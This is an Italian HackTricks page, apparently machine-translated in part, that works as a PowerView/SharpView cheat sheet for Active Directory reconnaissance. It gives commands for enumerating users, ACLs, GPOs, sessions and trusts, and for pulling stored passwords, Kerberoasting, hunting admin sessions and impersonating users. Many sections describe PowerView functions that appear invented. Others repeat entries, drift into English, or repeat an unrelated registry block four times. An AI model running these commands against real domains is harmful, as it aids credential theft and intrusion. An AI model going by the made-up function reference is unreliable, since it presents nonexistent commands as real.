38 KiB
PowerView/SharpView
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata in HackTricks? o vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PACCHETTI DI ABBONAMENTO!
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo hacktricks e al repo hacktricks-cloud.
La versione più aggiornata di PowerView sarà sempre nel ramo dev di PowerSploit: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
SharpView è una porta .NET di PowerView
Enumerazione rapida
Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN #Kerberoastable users
#Groups info
Get-NetGroup | select samaccountname, admincount, description
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
#Computers
Get-NetComputer | select samaccountname, operatingsystem
Get-NetComputer -Unconstrainusered | select samaccountname #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#Shares
Find-DomainShare -CheckShareAccess #Search readable shares
#Domain trusts
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
#LHF
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
Informazioni sul dominio
Get-Domain
Restituisce informazioni di base sul dominio corrente, come il nome del dominio, il SID del dominio, il nome del controller di dominio e l'elenco degli utenti del dominio.
Get-DomainController
Restituisce informazioni sui controller di dominio nel dominio corrente, come il nome del controller di dominio, l'indirizzo IP, il ruolo del controller di dominio e l'elenco degli utenti connessi al controller di dominio.
Get-DomainPolicy
Restituisce informazioni sulle policy di dominio, come il nome della policy, il livello di sicurezza, le impostazioni di password e le impostazioni di blocco dell'account.
Get-DomainTrust
Restituisce informazioni sulle trust del dominio, come il nome del dominio fidato, il tipo di trust e lo stato della trust.
Get-DomainGroup
Restituisce informazioni sui gruppi nel dominio corrente, come il nome del gruppo, il SID del gruppo e l'elenco degli utenti nel gruppo.
Get-DomainUser
Restituisce informazioni sugli utenti nel dominio corrente, come il nome dell'utente, il SID dell'utente, il gruppo primario dell'utente e l'elenco dei gruppi a cui l'utente appartiene.
Get-DomainComputer
Restituisce informazioni sui computer nel dominio corrente, come il nome del computer, il SID del computer, il ruolo del computer e l'elenco degli utenti connessi al computer.
Get-DomainGroupMember
Restituisce l'elenco dei membri di un gruppo nel dominio corrente, come il nome dell'utente o del gruppo e il tipo di membro (utente o gruppo).
Get-DomainUserEvent
Restituisce gli eventi di un utente nel dominio corrente, come il nome dell'utente, il tipo di evento, la data e l'ora dell'evento e la descrizione dell'evento.
Get-DomainComputerEvent
Restituisce gli eventi di un computer nel dominio corrente, come il nome del computer, il tipo di evento, la data e l'ora dell'evento e la descrizione dell'evento.
```powershell
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
Get-NetDomain -Domain mydomain.local
Get-DomainSID #Get domain SID
# Policy
Get-DomainPolicy #Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous
(Get-DomainPolicy).PrivilegeRights #Check your privileges
Get-DomainPolicyData # Same as Get-DomainPolicy
# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller
# Get Forest info
Get-ForestDomain
Utenti, Gruppi, Computer e UO
PowerView fornisce una serie di comandi per ottenere informazioni sugli utenti, i gruppi, i computer e le Unità Organizzative (UO) in un dominio Windows. Di seguito sono riportati alcuni comandi utili:
Get-NetUser
: restituisce informazioni sugli utenti nel dominio.Get-NetGroup
: restituisce informazioni sui gruppi nel dominio.Get-NetComputer
: restituisce informazioni sui computer nel dominio.Get-NetOU
: restituisce informazioni sulle Unità Organizzative nel dominio.
Questi comandi possono essere utilizzati per ottenere informazioni dettagliate sugli oggetti nel dominio, come ad esempio i membri di un gruppo, i computer in una determinata UO o gli utenti appartenenti a un gruppo specifico.
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
## Get-DomainUser and Get-NetUser are kind of the same
Get-NetUser #Get users with several (not all) properties
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames
Get-NetUser -UserName student107 #Get info about a user
Get-NetUser -properties name, description #Get all descriptions
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount
Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
# Get users with reversible encryption (PWD in clear text with dcsync)
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
# Users Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
## Users with this flag might have empty passwords (if allowed) or shorter passwords
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
#Groups
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
## Get-DomainGroup is similar to Get-NetGroup
Get-NetGroup #Get groups
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
Get-NetGroup 'Domain Admins' #Get all data of a group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups
Get-NetGroup -UserName "myusername" #Get groups of a user
Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid
Get-NetGPOGroup #Get restricted groups
# Computers
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
## Get-DomainComputer is kind of the same as Get-NetComputer
Get-NetComputer #Get all computer objects
Get-NetComputer -Ping #Send a ping to check if the computers are working
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#OU
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)
## Get-DomainOU is kind of the same as Get-NetOU
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
Accesso e Sessioni
PowerView fornisce una serie di comandi utili per l'accesso e la gestione delle sessioni in un sistema Windows.
Get-NetLoggedon
Il comando Get-NetLoggedon
restituisce una lista degli utenti attualmente connessi al sistema.
Get-NetLoggedon
Get-NetSession
Il comando Get-NetSession
restituisce una lista delle sessioni attive nel sistema.
Get-NetSession
Get-NetSessionComputer
Il comando Get-NetSessionComputer
restituisce una lista delle sessioni attive su un determinato computer.
Get-NetSessionComputer -ComputerName <computer_name>
Get-NetSessionUser
Il comando Get-NetSessionUser
restituisce una lista delle sessioni attive per un determinato utente.
Get-NetSessionUser -UserName <username>
Get-NetSessionGroup
Il comando Get-NetSessionGroup
restituisce una lista delle sessioni attive per un determinato gruppo.
Get-NetSessionGroup -GroupName <group_name>
Get-NetSessionID
Il comando Get-NetSessionID
restituisce informazioni dettagliate su una sessione specifica.
Get-NetSessionID -SessionID <session_id>
Get-NetSessionIDUser
Il comando Get-NetSessionIDUser
restituisce informazioni dettagliate su una sessione specifica per un determinato utente.
Get-NetSessionIDUser -SessionID <session_id> -UserName <username>
Get-NetSessionIDComputer
Il comando Get-NetSessionIDComputer
restituisce informazioni dettagliate su una sessione specifica per un determinato computer.
Get-NetSessionIDComputer -SessionID <session_id> -ComputerName <computer_name>
Get-NetSessionIDGroup
Il comando Get-NetSessionIDGroup
restituisce informazioni dettagliate su una sessione specifica per un determinato gruppo.
Get-NetSessionIDGroup -SessionID <session_id> -GroupName <group_name>
Get-NetSessionIDUserComputer
Il comando Get-NetSessionIDUserComputer
restituisce informazioni dettagliate su una sessione specifica per un determinato utente e computer.
Get-NetSessionIDUserComputer -SessionID <session_id> -UserName <username> -ComputerName <computer_name>
Get-NetSessionIDUserGroup
Il comando Get-NetSessionIDUserGroup
restituisce informazioni dettagliate su una sessione specifica per un determinato utente e gruppo.
Get-NetSessionIDUserGroup -SessionID <session_id> -UserName <username> -GroupName <group_name>
Get-NetSessionIDComputerGroup
Il comando Get-NetSessionIDComputerGroup
restituisce informazioni dettagliate su una sessione specifica per un determinato computer e gruppo.
Get-NetSessionIDComputerGroup -SessionID <session_id> -ComputerName <computer_name> -GroupName <group_name>
Get-NetSessionIDUserComputerGroup
Il comando Get-NetSessionIDUserComputerGroup
restituisce informazioni dettagliate su una sessione specifica per un determinato utente, computer e gruppo.
Get-NetSessionIDUserComputerGroup -SessionID <session_id> -UserName <username> -ComputerName <computer_name> -GroupName <group_name>
Get-NetSessionIDUserComputerGroup
Il comando Get-NetSessionIDUserComputerGroup
restituisce informazioni dettagliate su una sessione specifica per un determinato utente, computer e gruppo.
Get-NetSessionIDUserComputerGroup -SessionID <session_id> -UserName <username> -ComputerName <computer_name> -GroupName <group_name>
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
Oggetto Group Policy - GPO
Se un attaccante ha alti privilegi su un GPO, potrebbe essere in grado di elevare i privilegi sfruttandolo per aggiungere autorizzazioni a un utente, aggiungere un utente amministratore locale a un host o creare un'attività pianificata (immediata) per eseguire un'azione.
Per ulteriori informazioni su come sfruttarlo e come abusarne segui questo link.
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
Get-NetGPO | select displayname #Get the names of the policies
Get-NetGPO -ComputerName <servername> #Get the policy applied in a computer
gpresult /V #Get current policy
# Get who can create new GPOs
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Get permissions a user/group has over any GPO
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
# COnvert GPO GUID to name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532
# Transform SID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126
# Get GPO of an OU
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'
# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
Impara come sfruttare le autorizzazioni su GPO e ACL in:
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %} acl-persistence-abuse {% endcontent-ref %}
ACL
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
#Other way to get ACLs of an object
$sid = Convert-NameToSid <username/group>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
#Get permissions of a file
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"
#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
Find-InterestingDomainAcl -ResolveGUIDs
#Check if any of the interesting permissions founds is realated to a username/group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
File e cartelle condivise
Le cartelle e i file condivisi sono una parte essenziale di molti ambienti di rete. Possono essere utilizzati per consentire agli utenti di accedere e condividere facilmente risorse tra di loro. Tuttavia, possono anche rappresentare un rischio per la sicurezza se non vengono configurati correttamente.
Identificare le cartelle condivise
Per identificare le cartelle condivise su un sistema Windows, è possibile utilizzare il modulo PowerShell PowerView. PowerView fornisce una serie di cmdlet che consentono di eseguire operazioni di ricerca e analisi sulle cartelle condivise.
Per elencare tutte le cartelle condivise su un sistema, è possibile utilizzare il seguente comando:
Get-NetShare
Questo comando restituirà un elenco di tutte le cartelle condivise, inclusi il nome, il percorso e le autorizzazioni associate.
Ottenere informazioni sulle autorizzazioni
Per ottenere informazioni dettagliate sulle autorizzazioni associate a una cartella condivisa, è possibile utilizzare il seguente comando:
Get-NetSharePermission -Name <nome_cartella_condivisa>
Sostituire <nome_cartella_condivisa>
con il nome effettivo della cartella condivisa di cui si desidera ottenere informazioni sulle autorizzazioni.
Questo comando restituirà un elenco delle autorizzazioni associate alla cartella condivisa, inclusi i nomi degli utenti o dei gruppi e i tipi di autorizzazioni concesse.
Modificare le autorizzazioni
Per modificare le autorizzazioni di una cartella condivisa, è possibile utilizzare il seguente comando:
Set-NetSharePermission -Name <nome_cartella_condivisa> -AccountName <nome_utente_o_gruppo> -PermissionLevel <livello_autorizzazione>
Sostituire <nome_cartella_condivisa>
con il nome effettivo della cartella condivisa, <nome_utente_o_gruppo>
con il nome dell'utente o del gruppo a cui si desidera modificare le autorizzazioni e <livello_autorizzazione>
con il livello di autorizzazione desiderato (ad esempio "Read", "Write" o "Full").
Questo comando modificherà le autorizzazioni della cartella condivisa in base ai parametri specificati.
Conclusioni
Le cartelle e i file condivisi possono essere una risorsa utile per gli utenti di una rete, ma è importante configurarli correttamente per garantire la sicurezza dei dati. Utilizzando PowerView, è possibile identificare, ottenere informazioni e modificare le autorizzazioni delle cartelle condivise in modo efficiente e sicuro.
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
Trust di Dominio
Un trust di dominio è una relazione di fiducia stabilita tra due domini in un ambiente Active Directory. Questa relazione consente agli utenti di un dominio di accedere alle risorse di un altro dominio senza dover autenticarsi nuovamente. I trust di dominio possono essere unidirezionali o bidirezionali e possono essere configurati in diversi modi per soddisfare le esigenze specifiche dell'ambiente di rete.
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts
Get-ForestDomain # Get basic forest info
Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
Frutta a portata di mano
Il termine "frutta a portata di mano" si riferisce a vulnerabilità o punti deboli facilmente accessibili e sfruttabili. Questi sono spesso i primi obiettivi che un hacker mira a sfruttare durante un attacco.
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
#Enumerate machines where a particular user/group identity has local admin rights
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
# Enumerates the members of specified local group (default administrators)
# for all the targeted machines on the current (or specified) domain.
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember
#Search unconstrained delegation computers and show users
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
#Admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
#Get members from Domain Admins (default) and a list of computers
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.
## By default users inside Domain Admins are searched
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]
#Search "RDPUsers" users
Invoke-UserHunter -GroupName "RDPUsers"
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth
Oggetti eliminati
PowerView includes several functions to enumerate and manipulate deleted objects in Active Directory. These functions can be useful during a penetration test to identify and recover deleted objects that may contain sensitive information.
Get-DomainDeletedObject
The Get-DomainDeletedObject
function retrieves information about deleted objects in Active Directory. It can be used to search for specific deleted objects or to retrieve all deleted objects in the domain.
Get-DomainDeletedObject -Identity <ObjectIdentity>
Restore-DomainDeletedObject
The Restore-DomainDeletedObject
function can be used to restore deleted objects in Active Directory. It requires the ObjectGUID
of the deleted object as input.
Restore-DomainDeletedObject -ObjectGUID <ObjectGUID>
Get-DomainObjectAcl
The Get-DomainObjectAcl
function retrieves the access control list (ACL) for a specified object in Active Directory. It can be used to view the permissions assigned to deleted objects.
Get-DomainObjectAcl -Identity <ObjectIdentity>
Get-DomainObjectOwner
The Get-DomainObjectOwner
function retrieves the owner of a specified object in Active Directory. It can be used to determine the user or group that owned a deleted object.
Get-DomainObjectOwner -Identity <ObjectIdentity>
Get-DomainObjectPermission
The Get-DomainObjectPermission
function retrieves the permissions assigned to a specified object in Active Directory. It can be used to view the permissions assigned to deleted objects.
Get-DomainObjectPermission -Identity <ObjectIdentity>
Get-DomainObjectProperty
The Get-DomainObjectProperty
function retrieves the properties of a specified object in Active Directory. It can be used to view the attributes and values of deleted objects.
Get-DomainObjectProperty -Identity <ObjectIdentity> -Properties <PropertyList>
Get-DomainObjectPropertyValue
The Get-DomainObjectPropertyValue
function retrieves the value of a specified property for a specified object in Active Directory. It can be used to view the value of a specific attribute for deleted objects.
Get-DomainObjectPropertyValue -Identity <ObjectIdentity> -Property <PropertyName>
Get-DomainObjectSID
The Get-DomainObjectSID
function retrieves the security identifier (SID) of a specified object in Active Directory. It can be used to view the SID of deleted objects.
Get-DomainObjectSID -Identity <ObjectIdentity>
Get-DomainObjectUser
The Get-DomainObjectUser
function retrieves the user associated with a specified object in Active Directory. It can be used to view the user associated with deleted objects.
Get-DomainObjectUser -Identity <ObjectIdentity>
Get-DomainObjectGroup
The Get-DomainObjectGroup
function retrieves the group associated with a specified object in Active Directory. It can be used to view the group associated with deleted objects.
Get-DomainObjectGroup -Identity <ObjectIdentity>
Get-DomainObjectComputer
The Get-DomainObjectComputer
function retrieves the computer associated with a specified object in Active Directory. It can be used to view the computer associated with deleted objects.
Get-DomainObjectComputer -Identity <ObjectIdentity>
Get-DomainObjectOU
The Get-DomainObjectOU
function retrieves the organizational unit (OU) associated with a specified object in Active Directory. It can be used to view the OU associated with deleted objects.
Get-DomainObjectOU -Identity <ObjectIdentity>
Get-DomainObjectGPO
The Get-DomainObjectGPO
function retrieves the group policy object (GPO) associated with a specified object in Active Directory. It can be used to view the GPO associated with deleted objects.
Get-DomainObjectGPO -Identity <ObjectIdentity>
Get-DomainObjectSite
The Get-DomainObjectSite
function retrieves the site associated with a specified object in Active Directory. It can be used to view the site associated with deleted objects.
Get-DomainObjectSite -Identity <ObjectIdentity>
Get-DomainObjectSubnet
The Get-DomainObjectSubnet
function retrieves the subnet associated with a specified object in Active Directory. It can be used to view the subnet associated with deleted objects.
Get-DomainObjectSubnet -Identity <ObjectIdentity>
Get-DomainObjectDNSRecord
The Get-DomainObjectDNSRecord
function retrieves the DNS record associated with a specified object in Active Directory. It can be used to view the DNS record associated with deleted objects.
Get-DomainObjectDNSRecord -Identity <ObjectIdentity>
Get-DomainObjectTrust
The Get-DomainObjectTrust
function retrieves the trust associated with a specified object in Active Directory. It can be used to view the trust associated with deleted objects.
Get-DomainObjectTrust -Identity <ObjectIdentity>
Get-DomainObjectDomain
The Get-DomainObjectDomain
function retrieves the domain associated with a specified object in Active Directory. It can be used to view the domain associated with deleted objects.
Get-DomainObjectDomain -Identity <ObjectIdentity>
Get-DomainObjectForest
The Get-DomainObjectForest
function retrieves the forest associated with a specified object in Active Directory. It can be used to view the forest associated with deleted objects.
Get-DomainObjectForest -Identity <ObjectIdentity>
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
MISC
SID to Name
Traduzione: SID in Nome
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
Kerberoast
Kerberoast è una tecnica di attacco che sfrutta le debolezze nel protocollo Kerberos per ottenere i ticket di servizio di un dominio. Questi ticket possono essere successivamente decifrati offline per ottenere le password dei servizi associati.
Per eseguire un attacco di Kerberoast, è necessario avere l'accesso al dominio e utilizzare strumenti come PowerView per identificare gli account di servizio che utilizzano l'autenticazione Kerberos. Una volta identificati, è possibile utilizzare lo strumento Rubeus per estrarre i ticket di servizio e salvarli in un file.
Successivamente, è possibile utilizzare strumenti come Hashcat per decifrare i ticket di servizio e ottenere le password associate. Questo può essere particolarmente utile per ottenere accesso a sistemi o servizi critici all'interno del dominio.
Per mitigare gli attacchi di Kerberoast, è consigliabile utilizzare password complesse per gli account di servizio e limitare i privilegi di tali account. Inoltre, è possibile implementare misure di sicurezza come l'autenticazione a due fattori per ridurre il rischio di compromissione dei ticket di servizio.
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
Utilizzare credenziali diverse (argomento)
Per eseguire comandi PowerShell con credenziali diverse, è possibile utilizzare l'argomento -Credential
. Questo argomento consente di specificare un oggetto PSCredential
che contiene le credenziali desiderate. Ecco un esempio di come utilizzare l'argomento -Credential
:
$cred = Get-Credential
Invoke-Command -ComputerName <computer_name> -Credential $cred -ScriptBlock { <command> }
Nell'esempio sopra, la variabile $cred
viene utilizzata per memorizzare le credenziali ottenute tramite il cmdlet Get-Credential
. Successivamente, il comando Invoke-Command
viene eseguito sul computer specificato utilizzando le credenziali memorizzate nella variabile $cred
.
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
Impersonare un utente
To impersonate a user in PowerShell, you can use the Invoke-UserImpersonation
function from the PowerView module. This function allows you to execute commands as if you were the specified user.
Invoke-UserImpersonation -Username <username> -Command <command>
Replace <username>
with the username of the user you want to impersonate, and <command>
with the command you want to execute as that user.
For example, to impersonate the user "admin" and execute the command "whoami", you would use the following command:
Invoke-UserImpersonation -Username admin -Command whoami
This can be useful during a penetration test to perform actions as a specific user and test their privileges and access rights.
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf
Imposta valori
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
# set the specified property for the given user identity
